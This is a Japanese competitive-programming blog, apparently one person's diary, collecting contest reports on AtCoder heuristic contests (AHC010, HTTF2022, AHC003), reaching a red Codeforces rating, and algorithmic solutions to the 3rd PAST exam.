takumi152の競プロ日記

競プロとかその他諸々とかの記録

ALGO ARTISプログラミングコンテスト(AHC010) 参加記

ALGO ARTISプログラミングコンテスト(AHC010)に参加しました。

結果は1位/1400人*1で、優勝でした。初優勝なのでとてもうれしいです。

ということで、以下に今回の解法や感想について書いていきます。

問題

グリッド上に曲線状・直線状の線路が乗った正方形タイルが置いてあるので、タイルを回転させてできるだけ長いループ*2を2つ作ってね。
2つのループの長さの掛け算がそのまま点数になるよ*3

atcoder.jp

解法(簡易版)

以下のツイート(とリプ欄)を参照してください。

最終提出時のコードはこちらです。

atcoder.jp

解法(もっと詳しく)

主に以下の2つを使って解を求めました。

最終的な解法では、焼きなまし法を中心として、それに使う状態遷移の方法として乱択DFSによるループ経路の変更を使っています。

本記事ではこの2つについて順に説明を記載していきます。

なお、本記事では、各線路タイルの名称について、1本の曲線状レールが乗ったもの*4を曲線(1)レール、2本の曲線状レールが乗ったもの*5を曲線(2)レール、1本の直線状レールが乗ったもの*6を直線レールと呼ぶことにします。

左から順に、曲線(1)レール、曲線(2)レール、直線レールの例

乱択DFSによるループ経路の変更

あるループについて、「ループの一部を壊して、壊した部分を別の経路に置き換える」ということを考えます*7

ループの一部分を別の経路に置き換えるイメージ。青矢印から赤矢印までで示した区間の経路を置き換えている

始点と終点を決めた後、進入先タイルの座標、タイルの進入方向、各タイルの2つのループ中での使用回数*8を管理しながら、終点のひとつ先のタイルと座標・進入方向が一致するところに到達するまでDFSをします。このとき次に進入するタイルの種類に応じて以下のように場合分けをしながら探索します。

曲線(1)レールの場合

タイルの使用回数が0回と1回の場合でそれぞれ分けて考えます。

まず0回の場合、そのタイルはループ中ではまだ使われていないので、適切にタイルを回転させることで、進入方向から見て90度時計回り、90度反時計回りに回転した方向のどちらにも進むことができます。
最初にどちらに進む方を探索するかはランダムに決めてしまってよいです*9

使用回数が0回の曲線(1)レールに左から進入する例。適切にタイルを回転させることで上下どちらにも進むことができる

次に1回の場合ですが、そのタイルはループ中で使われているので、タイルを回転させてしまうとループが壊れてしまいます*10
また、タイルへの出入口は2方向しかないことと、ループで1回使われているということから、必ず出入口ではない方向から進入することが分かるので、そのタイルには進むことができません。

使用回数が1回の曲線(1)レールに左から進入する例。既存の青色で示したループが壊れるので進むことはできない

曲線(2)レールの場合

同様に、タイルの使用回数が0回と1回の場合でそれぞれ分けて考えます*11

0回の場合は曲線(1)レールの場合と同様です。ただし、後から同じタイルを再び通る可能性があるので、タイルの回転を探索中の時点で行っておく必要があります。

次に1回の場合、曲線(1)レールの場合と同じく回転させることはできませんが、まだ使っていない側のレールの進行方向には進むことができます。

使用回数が1回の曲線(2)レールに左から進入する例。回転はできないので上方向にのみ進める

直線レールの場合

同じくタイルの使用回数が0回と1回の場合で分けて考えます。

0回の場合、適切に回転させることで進入方向と同じ方向に進むことができるので、同じ方向にある次のタイルを探索すればよいです。

1回の場合は、曲線(1)レールの場合と同様にループが壊れてしまうので進入することはできません。

その他

以上のように場合分けして探索をすればよいですが、乱択なので行きたい方向とは全く別の方向に探索が進んでしまい、非常に時間がかかってしまう可能性があります。
そのため、探索ステップ数や探索時間に上限を設定して、上限に達したら探索を打ち切って元のループを復元することにしています。

この手法が使える類題として、短期コンテストではAHC002、長期コンテストではMM119などがあります*12
(AHC002は移動方向に対する制約が少なく、実装も今回に比べて単純なので、そちらで練習してみるのもおすすめです。)

焼きなまし法

典型的な焼きなまし法です。焼きなまし法自体の解説はgasinさんやツカモさんの記事などが詳しいのでそちらにお任せすることにします。

gasin.hatenadiary.jp

qiita.com

解の持ち方

焼きなましにおける解の持ち方ですが、現在の盤面のタイルの種類*13と、ループごとに経路情報を表す(タイルのx座標, タイルのy座標, このタイルから出る方向)の組の列を状態として持つことにしています。

初期解

盤面の初期状態の時点で存在しているループの中から、中心までのマンハッタン距離が最も近い2つのループを選択します*14
選択した2つのループについてそれぞれの経路情報を求め、これを初期解とします。

状態遷移

状態遷移は1種類のみで、どちらか1つのループの中からランダムに始点と終点を選択して、その区間について「乱択DFSによるループ経路の変更」の項で説明した方法で新しい経路を探索する、というものです。
探索が(打ち切られずに)終了して新しい経路が求まったら、後述の評価関数で新しい経路を使った場合の評価を行い、状態遷移を行うかどうかを決めます。

評価関数

評価関数は2種類用意して、前半と後半に分けてそれぞれ使用する評価関数を変更しています。

前半は2つのループの長さの線形和を評価関数としています(最終提出時の解法では 10 \times \min((ループ1の長さ), (ループ2の長さ)) + \max((ループ1の長さ), (ループ2の長さ))としました)。
この問題の(本来の)スコア計算方法では、現在の解のスコアが大きくなるほど、ループの長さが1だけ短くなったときのスコアの下げ幅が大きくなりやすくなり、温度が同じでもスコアが下がる遷移が起きにくくなるのであまり望ましくないと考えられます。
そこで、ループの長さによるスコアの下げ幅が大きくならないようにすればそのようにならなくなるのではないかと思い、この評価関数を使うことにしました。

後半は問題のスコア計算方法と同じものを評価関数としています。

結果

以上の解法により、最終提出時での点数は20,218,968点となりました。
本番中に20M点台を出したのは自分一人だけだったようです*15。わーい。

実際の出力の結果ですが、例えばseed = 0の場合は以下のようになります。

コンテスト中にやったこと

本番中にやったことや考えていたことを時系列順に書いています*16

0:00 - 開始

問題文を読んだ。 ビジュアライザを確認するとmanual modeが用意されているみたいなので試すことに。

0:10 - 考察

manual modeで試してみている過程で、以下のようなことを思った。

  • 既存のループを少しずつ大きくしていくとよさそう。
  • タイルは回転しかできないので、今のループを少しだけ変えて大きくするのは難しそう。
  • 一方で、今のループを一旦壊して別の経路を作ろうとすると、手で適当にDFSっぽいことをすれば普通に作れる
    • ループを壊す部分は、今のループのうち曲線部分2つの向きを変えればできそう

経路を部分的に破壊して別の経路を作るといえば、AHC002で似たようなことをした覚えがある。
・・・ということは、これはAHC002の類題か?だとしたら部分経路破壊+乱択DFSでの再構築と、焼きなましを使えばよさそう。

0:15 - 実装(前編)

実装開始。とりあえず初期解を選ぶところ(と、それに必要なループ判定)から実装。

初期解を選ぶときに回転を考えながらやるのは面倒なので、最初から既にあるループの中から適当な2つを選ぶことにする。
入力を20種類ほど確認してみたが、どれもループは少なくとも2つあるので、とりあえずこれで進めてしまってよさそう。

あとは、端の方にあるループを選択してしまうと大きくできないまま詰まってしまう気がするので、できるだけ中央に近いループを選択することにする。

1:15 - 実装(中編)

初期解の選択を実装した。続けて焼きなまし部分と経路再構築部分の実装に入る。

ループの状態をどう持つべきか悩ましいが、とりあえず各ループが通る位置とその方向を、ループごとに 30 \times 30の配列で持つことにした*17

2:00 - 実装(後編)

経路再構築部分の実装をしていたが、考えていたループの状態の持ち方ではうまくいかないことが分かった。

最初に考えたループの状態の持ち方で対応できないケースの例

仕方がないのでループの状態を変えて、ループごとに(x座標, y座標, タイルから出る方向)の組の列で持つことにする。

この時点では、実装が間に合わずに提出しないまま終わってしまうのではないかと思ってかなり焦っていた。

2:45 - デバッグ

一通り実装が完了した。が、segmentation faultで落ちていたり、コード側で求めたスコアが実際のスコアと一致しなかったりと、バグが多い状態。
幸い、ちゃんとassertを入れていたことで、大部分については何が起きているかすぐに分かって、どこにその原因があるかを探すだけだったので、複雑な実装をした割にはスムーズにデバッグができた。

また、この時点でも100k点程度が出るケースがあることは確認できていたので、方針としては正しそうだと思った。

3:35 - 初提出

デバッグが完了し、初提出。11.044M点(最終18位相当)を出した。

3:40 - パラメータ調整(1)

残り時間が少ないので、あまり大きな改善はできなさそう。
とりあえずパラメータ調整をまともにやらないまま提出をしていたので、まずは焼きなましの温度を手で調整して、200k点程度出るケースがあることを確認して再提出。19.799M点を出して暫定1位になった*18

3:45 - パラメータ調整(2)

この時点でも既に勝ちを確信しつつあったが、逃げ切るためにさらに改善を入れることに。
次は試行回数を増やすため、経路再構築時のDFSの探索回数上限を下げた。点数が何となく上がっていそうなことを確認して提出したところ、20.131M点が出た。

3:50 - 評価関数の改善

これ以上調整できそうなパラメータは無さそうなので、今度は評価関数を改善することにした。
これまでは問題のスコア計算方法をそのまま評価関数にしていたが、これだと点数が上がるほど状態が戻りにくくなってしまい良くないので、先にループの長さの線形和を評価関数として焼き、その後本来のスコアで評価することを考えた。
この時点では小さい方のループの長さだけを使っていたためか、点数は改善しなかった(20.064M点)。

3:59 - 最終提出

最初に使う評価関数で長い方のループの長さも使うよう変更。
パラメータ調整もさらに行ったところで最終提出を行い、20.218M点で終了した。

感想

途中までは実装方針のミスなどでタイムロスがあり、どうなるかと思いましたが、結果として優勝することができたのはとてもうれしいです。
ヒューリスティックレートも2533 → 2757になり、†レッドコーダー†入りが一気に現実に近くなりました*19

今回の問題は以前の4時間コンテストと比べると少し複雑な印象でしたが、4時間コンテストの難易度感・実装量としてはちょうどいいぐらいかなと思いました*20

*1:うち提出者678人、正の得点を得た参加者660人

*2:問題文中では「環状線」と呼んでいますが、本記事では「ループ」で統一することにします。

*3:作られたループが3つ以上なら、その中で最も長い2つだけが点数計算に使われます。

*4:問題文中では0~3番のタイルが該当します。

*5:問題文中では4, 5番のタイルが該当します。

*6:問題文中では6, 7番のタイルが該当します。

*7:ここでは「壊す」と書いていますが、実際の処理ではその区間に含まれるタイルのループ中での使用回数を減らしているだけです。

*8:DFSで探索中のものも含みます。

*9:乱択なので。

*10:場合によっては回転させることで新しいループが完成することがありますが、ここでは面倒なので考えないことにします。

*11:厳密には2回の場合もありますが、この場合はそのタイルに進入する方法がないので、ここでは考える必要はありません。

*12:グリッド上などでできるだけ長い経路を求めたいときに使える印象があります。

*13:出力する解自体は、この情報だけから求めることができます。

*14:初期盤面によっては最初から存在するループが1つ以下の場合もあり得ますが、採点用のテストケースではそのようなケースはなかったようなので特に考えていません。

*15:ちなみに2位のRafbillさんは19,646,280点でした。

*16:本番中にこの辺の内容を書く余裕は無かったので、終わった後にうろ覚えで書いています。ご了承ください。

*17:下でも書いているが、実際はこの方法だと、曲線が2つあるタイル上を1つのループが2回通る場合に対応できない。

*18:この時点で最終1位相当の点数になっていた。

*19:次に2890perf(4位相当)程度以上を取るとレッドコーダーになれるらしい。

*20:難易度に対する個人的な思想ですが、解として詰め切れていそうな人が2, 3人程度で、パラメータ調整や乱数お祈りだけでは優勝できないぐらいが丁度良いと思っています。

HTTF2022 考察メモ

HTTF2022 お疲れさまでした。

結果としては、暫定41位(99717点)でした。

以下、コンテスト期間中の自分の考察メモです。

11/3

  • ぞい!
  • 問題を読んだ
  • 以下の2つの問題に分けられそう
    • 技能レベルを推測する問題
    • 誰がどのタスクをやるか決める問題

11/4

  • 実装開始
  • 以下の3つの問題に分けて考えることにする
    • 技能レベルを推測する問題
    • どの順番でタスクをやるか決める問題
    • 誰がどのタスクをやるか決める問題
  • 技能レベルを推測する問題
    • タスクを1個か2個ぐらいやらないと何も分からない
    • 過去の履歴とできるだけ矛盾が生じないような技能レベルを求めたい
      • AHC003でやったのと似ている
      • 焼きなましとかでできそう
  • どの順番でタスクをやるか決める問題
    • 適当にBFSでもすればいいか?
    • 雑にやると、特に後半の並列度が下がりそう
    • 動的に更新するのも考えられる
    • あるタスクから一番遠いタスクまでの距離(or何らかの評価関数)が最大のものから順にやる、みたいな
  • 誰がどのタスクをやるか決める問題
    • 貪欲でよさそう?
      • うまく焼ければ改善する可能性はある

11/5

  • ベースラインを作成(1657664 @ 1000case)
    • 空いている人に空いているタスクを順に割り当てるだけ
  • ボトルネックが存在するケースは普通にある
    • seed=450,999とか
    • そうじゃないケースも割とあるので(seed=0とか)、分けて考えると良さそう
  • 技能レベルを推測する問題
    • 上限の予測が難しそう
      • 実際のレベル > 必要レベルだと日数への影響が発生しないので
      • 最初の方はsum(今までのmax(あるスキルの必要レベル))ができるだけ大きくなるようにすると良さそう?
        • その分ロスが大きそうな気もするが
  • どの順番でタスクをやるか決める問題
    • 構造はDAG
      • やる順序はトポロジカルソートとして成立していればおk
    • 各タスクについて以下を持っておけばよさそう
      • 現在の順序
      • 1つ前のタスクの中で最後にあるものの順序
        • 移動可能範囲の下限になる
      • 1つ後のタスクの中で最初にあるものの順序
        • 移動可能範囲の上限になる
    • 前後にあるタスクの数の平均は高々6個なので、更新部分は雑でいいかも
      • シミュレーションの方が重くなるので
    • 全体の順序と人ごとの順序を持たせる
      • 全体の順序を変更後、それに合わせて人ごとの順序を変更する

11/6

  • どの順番でタスクをやるか決める問題
    • とりあえず最序盤部分とそれ以降の初期化・割り当て実行部分だけ実装
      • 最序盤は実行したタスクの要求レベルの最大値の合計が最大になるよう貪欲
      • それ以降は各人ごとの順序を最適化する感じ
    • 前後依存の部分は番号順になるようにすればよい?
      • 番号順の場合はデッドロックが発生しないことが保証できる
      • 自由度は当然下がる
    • 焼きなましを実装してみた
      • シミュレーション部分が重すぎて、現時点ではまともに使えない
        • 1msで30iterぐらいしか回らない
        • もっと軽い+いい感じに評価できる方法があればいいが・・

11/7

  • 貪欲割り当てを実装(1853525 @ 1000case, 90997 @ preliminary)
    • 割り当てられるタスクを、番号順に空いている人のうち一番速く終わらせられると推定される人に割り振る
    • 「番号順」を「自身のタスクから、別の依存しているタスクまでの深さの最大値が大きい順」にした場合(1867168 @ 1000case, 91900 @ preliminary)
      • タスク実行中の人に割り振った方が終了時間が速くなるなら割り振らないことした場合(1870040 @ 1000case, 92440 @ preliminary)
        • ↑の対象を「自身への依存が存在するタスク」に限定した場合(1938707 @ 1000case, 95701 @ preliminary)
    • 「自身のタスクに深さに関係なく依存しているタスクの数が多い順」にした場合(1848879 @ 1000case)
  • タスク割り当てを焼きなましでやる場合
    • 「どのタスクを割り当てるか」をまず決めた方がよさそう?
      • 依存が全くない場合のターン数は求まる
    • 残りタスク数100個以下になったら、ある時点で実行可能なタスクのみを対象として焼きなまし(1944939 @ 1000case, 95568 @ preliminary)
      • よく見たらバグらせていた(別の依存しているタスクまでの深さの最大値が最小のものからやっていた、本来の意図はその逆)

11/8

  • タスク割り当てを焼きなましでやる場合
    • 疎グラフ(R < 1500)の場合だと有効
    • R < 1500 の場合のみ、残りタスク数500個以下になったら全タスクを対象に焼きなまし(1958849 @ 1000case, 96799 @ preliminary)
    • 各タスクの予想最早開始時間みたいなのを持てれば密グラフに対しても有効そう?
      • 実装してみたが、あまりうまくいっていない
    • シミュレーションをもう少し速くやる方法を思いついた
      • 数百iter程度しか回らなさそうだが

11/9

  • 焼きなまし
    • シミュレーションを実装
      • 最低で150iter/1msぐらい
      • スコアは上がっていない
        • 技能レベルの推定が正しいことが前提なので、特にクリティカルパスで推定よりも伸びると厳しい
    • 依存先になっていないタスクはいつやってもいいはずなので、依存先になっているタスクのみを対象に最適化すればよい?
      • 待っている間は別のタスクを入れるイメージ
  • レベルの予測
    • 分散とL2ノルムもペナルティとして考慮した方がよさそう
      • 現状、過去の履歴との誤差と、各レベルの大きさによるペナルティしか考慮していないので
      • 試してみたがうまくいかなかった

11/10

  • 貪欲割り当て
    • 割り当て順を「最短での解除まで最も遠い終端タスクまでの距離(時間)」が大きいものから順にやる?
      • (推測が正しいと仮定すれば)それがクリティカルパスの最初のタスクになるので
      • これだけだとそんなに効果ないかも?(1922005 @ 1000case)
      • タスク50個完了時と960個完了時に選び方を若干変化させるようにしたら改善した(1960125 @ 1000case, 96713 @ preliminary)
        • R < 1500のときに焼きなました場合(1971553 @ 1000case, 97166 @ preliminary)

11/11

  • optunaを回してハイパーパラメータを最適化してみた(1983404 @ 1000case, 97920 @ preliminary)
    • 実は一部ハイパーパラメータが反映されていなかったことが判明した(11/12)
  • レベルの予測
    • 何もわからん!
    • 何らかの確率モデルを使って、ベイズ推定的なことをすればいいのか?
      • eivourさんがAHC003でやってたやつみたいな感じ
      • 何もわからん!!

11/12

  • 貪欲割り当て
    • 割り当て順を決めるときに使う「最も遠い終端タスクまでの距離(時間)」を、一番遅い人を基準に決める(1996220 @ 1000case, 98009 @ preliminary)
      • 今までは一番速い人を基準に決めていた
      • ハイパーパラメータとして追加できそう(何番目に速い/遅い人を基準にするか)
  • optunaをもう一度回した(2004253 @ 1000case, 98658 @ preliminary)
  • 推測したレベルを-1して処理した場合(2014080 @ 1000case, 99285 @ preliminary)
    • 上振れするリスクを減らすのは重要そう

11/13

  • R > 1500のときだけ推測したレベルを-1した場合(2020098 @ 1000case, 99348 @ preliminary)
    • これもハイパーパラメータ化できそう
  • 最初の方の貪欲順を「要求レベルのL2ノルムが小さい順」にすると、Rが小さいケースで少し伸びる
    • eivourさんのvisualizerを参考にした
      • 最初の方は軽いやつをやらせて、早い段階でレベルの推定結果が収束するようにしている?
    • 同じくハイパーパラメータ化
  • 最後のoptuna実行(2023085 @ 1000case, 99717 @ 1000case)
  • おしまい

AHC003 参加記

とても面白い問題でした。

問題

atcoder.jp

30*30の辺重み(長さ)付きグリッドグラフがある(ただし、各辺の長さは入力としては与えられない)ので、以下のクエリを1000回処理してねという問題です。

  • 各クエリの入力として、始点と終点が与えられる。
  • 出力として、始点から終点までのできるだけ短いパスを1つ求めよ。
  • 出力後、そのパスの距離に0.9以上1.1以下の一様乱数を掛けた値が入力として返される。

各クエリについて、出力したパスの距離と実際の最短距離が近いほど高得点が得られます。
また、後の方のクエリになるほど、以下のように1回のクエリで得られる最大得点が上昇していきます。

f:id:takumi152:20210531023205p:plain

なお、1個のテストケースにおける満点は999,999,910点です。

結果

システムテスト前の点数は96,818,948,890点で、24位でした。

f:id:takumi152:20210531024225p:plain

システムテスト後の点数は2,905,238,839,320点で、順位は変わらず24位でした。

f:id:takumi152:20210531205841p:plain

解法

各クエリごとに、入力生成に使われたパラメータを焼きなまし法で推測(1クエリあたり1.97ms実行)し、求めた推測値を使った場合の最短経路を出力する(探索のために敢えて別の経路を取ることはしない)という方法をとりました。
推測するパラメータは、問題文中の「入力生成方法」のうち、 M = 2と仮定した場合の以下のパラメータとしています( M = 1の場合は H_{i, 0} H_{i, 1}の値が大体同じになる( V_{i, 0} V_{i, 1}についても同様)だろうと期待してこのような仮定を置きました)。

  •  H_{i, p}, V_{j, p}
  •  \delta_{i, j}, \gamma_{i, j}
  •  x_{i}, y_{j}

評価関数は、あるパスの現在の推測値から求められる距離を a、そのパスを使ったクエリで返ってきた距離を bとして、 1.0 - (1.0 - \min(a, b) / \max(a, b))^{2}を各クエリについて求めたときの総和からペナルティ(後述)を引いたものとしています。
つまり、今までのクエリで返ってきた距離と、現在の推測値から求められる距離が近いほど、その推測値の基本評価が高いというようにしています。
ただし、 H_{i, p}, V_{j, p}の値と \delta_{i, j}, \gamma_{i, j}の値について、それぞれある定数との差異の2乗に比例したペナルティを与えることにしています。これは、パラメータとして現れにくい値(例えば、ある i, jについて \delta_{i, j} = 2000となることはほとんどない)を抑制することで、精度が上がりやすくなることを期待するものになっています。
このペナルティの基準となる定数と、ペナルティ自体の係数は、optunaを利用して設定しました。例えば、 H_{i, p}, V_{j, p}に対するペナルティ自体の係数と、100ケース(seed =  0, ..., 99)のスコアの関係はこんな感じになりました(実際には1000ケースのスコアを使ってパラメータを決めました)。

f:id:takumi152:20210531043927p:plain

optunaを使ったのは今回が初めてでしたが、簡単に使える上にとても便利だなと感じました。
実際、optunaを使って決めたパラメータを使った結果、手動で決めたパラメータを使った場合よりも、点数が0.33G点ほど上がりました。

感想

今回は焼きなましをしましたが、上位勢の方々の解法は機械学習や統計を駆使したものが多かったようです。
上位勢の方々の解法はまだあまり理解できていないので、少しずつその辺の知識を身につけていきたいなーと思いました。
(この辺の知識、ちゃんと身につけられたら業務とかでも普通に使えそう)

今回の解法に至るまで

ここからは今回の解法にたどり着くまでに何をしたかをざっくりと書いていきます。

1日目

問題を読みました。
とりあえず暫定1位を取っておくことを狙って、「クエリで使ったパスに含まれる各辺について、長さの推定値を返ってきた距離の1辺あたりの値に近づけるように更新する(ただし更新回数が多い辺ほど推定値の変更率を小さくする)」という感じの解法を2時間程度で作りました。
この時点での点数は89.87G点で、20分程度でしたが暫定1位を取ることに成功しました。

2日目

この日は実装はせず、考察をしていました。
この時点では、

  • 問題自体の印象として、Multi-armed banditに近い感じを持った
  • だとしたら、最短パスを推測するための探索をどんな感じでやるかが重要になってきそう
  • ということはUCB1とかを使うといい感じに探索ができるかも?
    • どうやって適用するかはよく分からない
    • 適用できたとして、探索による点数のロスは気になる

というようなことを考えていました。

3日目

前日に考えていた考察内容に進展はありませんでした。 一方で、こんなことを考えていました。

  • 過去のクエリとなるべく整合性が取れる推測をしたい
  • 辺の長さを推測するためにはテストケース生成に使われたパラメータを推測すればよさそう
  • 統計とかを使っていい感じに推定する方法はよく分からない
  • とりあえず焼きなましで殴ればよくないか?

そこで、今回の解法の元となった、入力生成に使ったパラメータを山登り法で推測する解法を実装しました(この時点ではペナルティは未実装。また、焼きなましだとパラメータ調整がうまくいってないせいか逆に点数が下がった)。
が、解法の項で挙げた全てのパラメータを推測しようとすると点数が大幅に下がったため、とりあえず H_{i, p}, V_{j, p}だけを推測することにしました。
この時点での点数は95.39G点(暫定98位相当)。

ちなみに、この時点で試して効果がなかった改善案として、

  • 最初の数回のクエリをできるだけ長いパスにする
  • 最初の数回のクエリをランダムなパスにする

があります。

4日目~5日目

この期間は特に進捗はありませんでした。

6日目

山登りの点数計算のうち、 x_{i}, y_{j}の値を変更したときの点数の更新部分にバグがあることが分かり、修正しました。
この時点でも全てのパラメータを推測しようとすると点数が下がったため、 H_{i, p}, V_{j, p} x_{i}, y_{j}を推測するようにしました。
点数は95.53G点(暫定92位相当)。

7日目

山登りを焼きなましに変更したところ、全てのパラメータを推測したときに点数が上がったため、そのように変更しました。
この時点で点数は95.96G点(暫定66位相当)でした。

一方で、推測した H_{i, p}, V_{j, p}の値と、実際の値が大きくずれていることがありました。これがずれているということは、 \delta_{i, j}, \gamma_{i, j}の値も全体的にずれているはず( H_{i, p}, V_{j, p}を軸に調整してほしいので、あまり望ましくない)だろうと思い、 \delta_{i, j}, \gamma_{i, j}の値にペナルティを付けたらどうなるか試しました。その結果、点数が上がることが分かりました。 ここで点数は96.27G点(暫定54位相当)になりました。

8日目

前日に \delta_{i, j}, \gamma_{i, j}の値にペナルティを付けたら点数が改善したことが分かったので、 H_{i, p}, V_{j, p}の値にも同じようにペナルティを与えたらどうなるか試したところ、点数が96.48G点(暫定42位相当)に上がりました。

この時点で、コンテスト期間内にこれ以上の改善をするのは難しいだろうと考え、optunaによるパラメータ調整に入りました。調整を行った結果、最終的な点数は96.81G点(暫定24位)になりました。

Codeforces赤色になりました

7/24(金)のCodeforces Round #659 (Div. 1)でCodeforces赤色になりました。

橙色底辺から2回のコンテストで赤になっ(てしまっ)たので、まだあんまり実感がないです。

やったこと(?)

f:id:takumi152:20200725160145p:plain

今回赤色になれたのは、Codeforces Round #658と#659で難易度が高めの問題(1381C1383D)を解くことができたことと、その結果として両コンテストで2桁順位に入ることができたからだと思っています。

Codeforcesの問題は、今まではdifficultyが2200か2300程度の問題までしかコンテスト中に解けたことがありませんでしたが、それ以上の問題を解くことができたのはとても大きいと思います。

1381Cはdifficulty2500、1383Dは本記事執筆時点では不明(2800ぐらい?))

今後の目標

今回は問題セットとの相性がとても良かったという感じだったので、すぐに橙色に落ちる気がします(え?)

なので、しばらくは赤色を安定させることが目標になりそうです。

そのためにはdifficulty2500程度以上の問題を解ける確率を上げるのが重要になってくるだろうと思っています。一方で、上で挙げた2つのコンテストで解けなかった問題も、時間を掛ければ解くことができそう、と感じた(以前の自分だったら、こんなの分からん、無理だろ、ってなって終わっていたと思う)ので、赤色安定は案外早く達成できたりする・・かもしれないです。

第3回PAST 参加記

無料回だったので参加してみました。

結果

リアルタイム受験をしました。

結果は94点で、エキスパートに認定されました。やったね。

各問題を解くまでの時間はこんな感じでした(開始=13:00、終了=18:00)。

以下に各問題について書いていきたいと思います。

※どう解いたかうろ覚えな状態で書いているので、説明が雑な部分があります。予めご了承ください

A - ケース・センシティブ

問題文はこちら

文字列をそのまま比較した場合と、小文字に変換してから比較した場合を見るだけです。

ちなみにですが、最初はsamedifferentを出せばよいと誤読して1WAを出しました(え?)

提出したコード(Python)はこちら

B - ダイナミック・スコアリング

問題文はこちら

序盤の重実装その1。

各参加者がどの問題を解いたかと、各問題の現在の得点を管理すればよいです。

提出したコード(Python)はこちら

C - 等比数列

問題文はこちら

 R = 1なら Aをそのまま出力するだけです。

 R \ge 2なら愚直にやって、答えが 10^9を超えたらその時点で計算を打ち切ればよいです。

ループ回数は高々 \lceil \log_{2}{10^9} \rceil = 30回程度なので、十分間に合います。

提出したコード(Python)はこちら

D - 電光掲示

問題文はこちら

序盤の重実装その2。

サンプルから各数字の見本を持ってきて、見本の状態と現在見ている数字の状態が全て一致しているかどうかを確認しました。

提出したコード(Python)はこちら

E - スプリンクラー

問題文はこちら

問題文の通りにグラフを作って解くだけです(雑)

 N, Q \le 200なので、愚直に O(NQ)で解いても十分間に合います。

提出したコード(Python)はこちら

F - 回文行列

問題文はこちら

行列の i列目と N-i列目の両方に存在する文字があるかどうかを調べればよいです。

setで出現した文字を管理すれば O(26 \cdot N^2) O(26 \cdot N^2 \log{N})程度ですが、愚直に全ての組を調べても O(N^3)なので間に合うと思います。

提出したコード(Python)はこちら

G - グリッド金移動

問題文はこちら

最初の位置からBFSをすれば解くことができます。が、負の座標が存在するので少し厄介です。

自分の場合は、全ての座標を+1000だけずらしてからやることで負の座標を気にする必要が無くなると思ったので、そうしました。

提出したコード(C++)はこちら

H - ハードル走

問題文はこちら

各行動を行った後、位置 Lまで到達するのに必要な最小時間をDPで求めればよいです。

 dp[i] := (位置iに到達するのに必要な最小時間) h[i] := (位置iにハードルが存在するかどうか)とすれば、遷移式は次のようになります。

  •  dp[i+1] = \min(dp[i+1], dp[i] + t1 + (h[i+1] ? t3 : 0)) (行動1を行った場合)

  •  dp[i+2] = \min(dp[i+2], dp[i] + t1 + t2 + (h[i+2] ? t3 : 0)) (行動2を行った場合)

  •  dp[i+4] = \min(dp[i+4], dp[i] + t1 + t2 * 3 + (h[i+4] ? t3 : 0)) (行動3を行った場合)

ただし、空中にいる状態でゴールする場合(行動2や行動3を行っている途中で位置 Lに到達する場合)があるので、そこの場合分けが必要になります。この場合の遷移式は、

  •  dp[L] = \min(dp[L], dp[i] + t1 / 2+ (t2 / 2) * ((L - i) * 2 - 1)

となります。

提出したコード(C++)はこちら

I - 行列操作

問題文はこちら

行列の現在の行と列の並び順を管理すればよいです。

また、転置の操作も存在しますが、これは行と列が入れ替わるという操作なので、

  • 転置が行われた回数が偶数の場合は行(または列)に対する操作をそのまま行って、

  • 奇数の場合は行(または列)に対する操作の行と列を入れ替えて操作を行う

とすればよいです。

提出したコード(C++)はこちら

J - 回転寿司

問題文はこちら

便宜上、まだ寿司を1つも食べていない子供が食べた寿司のおいしさの最大値を 0とすると、

  • 子供が食べた寿司のおいしさの最大値は、常に降順になっている

という性質があります。

これは、ある子供( aとする)が食べた寿司のおいしさの最大値が、その前の子供( bとする)が食べた寿司のおいしさの最大値よりも大きいと仮定すると、 aが食べた寿司の中でおいしさが最大のものは bが食べているはずなので矛盾する、という背理法的なやり方で示すことができます(本番ではもちろん無証明で、多分そうだろうなと信じてやりました)。

よって、各寿司が誰に食べられるかは二分探索を利用することで調べることができるので、この問題は O(M\log{N})で解くことができます。

提出したコード(C++)はこちら

K - コンテナの移動

問題文はこちら

各机の一番上にあるコンテナと、各コンテナのひとつ下のコンテナを管理することにすると、問題のサンプルの移動例は以下の画像のように表すことができます。

f:id:takumi152:20200608044255p:plain

つまり、このような移動を実現するには、以下の3つの操作を行えばよいです。

  • 移動対象のコンテナが元々あった机の一番上のコンテナを、移動先の机の一番上のコンテナにする。

  • 移動対象のコンテナのひとつ下にコンテナがあれば、それを移動対象が元々あった机の一番上のコンテナにする。

  • 移動対象のコンテナのひとつ下のコンテナを、移動先の机で元々一番上だったコンテナに(あれば)する。

上の図では分かりやすさのために連結リスト風の書き方をしていますが、vectorなどで一番上のコンテナとひとつ下のコンテナを管理することにより各移動操作を O(1)で行うことができます。よって、この問題は O(N + Q)で解くことができます。

提出したコード(C++)はこちら

L - スーパーマーケット

問題文はこちら

手前から1番目の商品の中で消費期限の値が最も大きいものがある列(インデックス)は、セグメント木を使うことで O(\log{N})で求めることができます。手前から2番目にある商品についても同様です。

よって、手前から1番目と2番目の商品について消費期限の値を調べて、手前から1番目と2番目のどちらから商品が取られたかによって次の商品への入れ替えの場合分けをすればよいです。

提出したコード(C++)はこちら

M - 行商計画問題

問題文はこちら

 Kの値の制約が非常に小さいことと、問題名から巡回セールスマン問題のような問題ではないかと予想ができます(本当か?)

実際、この予想は正しくて、 K個の街 t_1, t_2, ..., t_Kの間の最短距離をそれぞれ求めることで、(始点に戻らない)巡回セールスマン問題に帰着することができます。

ただし、制約的にnext_permutationを利用した O(K!)解法では間に合わないので、bitDPを利用した O(K \cdot 2^K)解法で解く必要があります。

ところで、この参加記を書いてて気が付きましたが、この問題の英語名は"Real Traveling Salesman"だそうです。やっぱり問題名が答えだった

提出したコード(C++)はこちら

N - 入れ替えと並び替え

問題文はこちら

とても難しかった問題。

どのような操作が行われるかを見ると、

  • 隣接する要素のswap

  • 指定した範囲のソート

があります。

愚直にやると任意の範囲に対して複数回ソートを要求されるので当然間に合いません。一方で、ソート以外の操作は、隣接要素のswapしかありません。

そこで、今までに行ったswapの操作に対して、うまく逆の操作を行うことで効率的にソートの操作を行うことができないか・・と、解いていた当時は考えていたと思います(超うろ覚え)

実際、swapのみを行った場合は転倒数は高々 Qにしかならないので、必要な部分だけバブルソートを行ってやれば効率よくソートを行うことができそうです。

では、ソートが必要な部分はどうやって管理するかというと、自分の場合は遅延セグメント木を利用して、「最後にswapが行われてからソートが行われたかどうか」を確認することで行っていました(本番ではこれしか思いつきませんでしたが、実際はsetとかでも十分だと思われます)。

これで十分間に合うだろうと信じて提出をすると、通りました(本番では計算量をちゃんと考えていませんでしたが、実際の計算量は O(Q\log{NQ})ぐらいになりそう?)

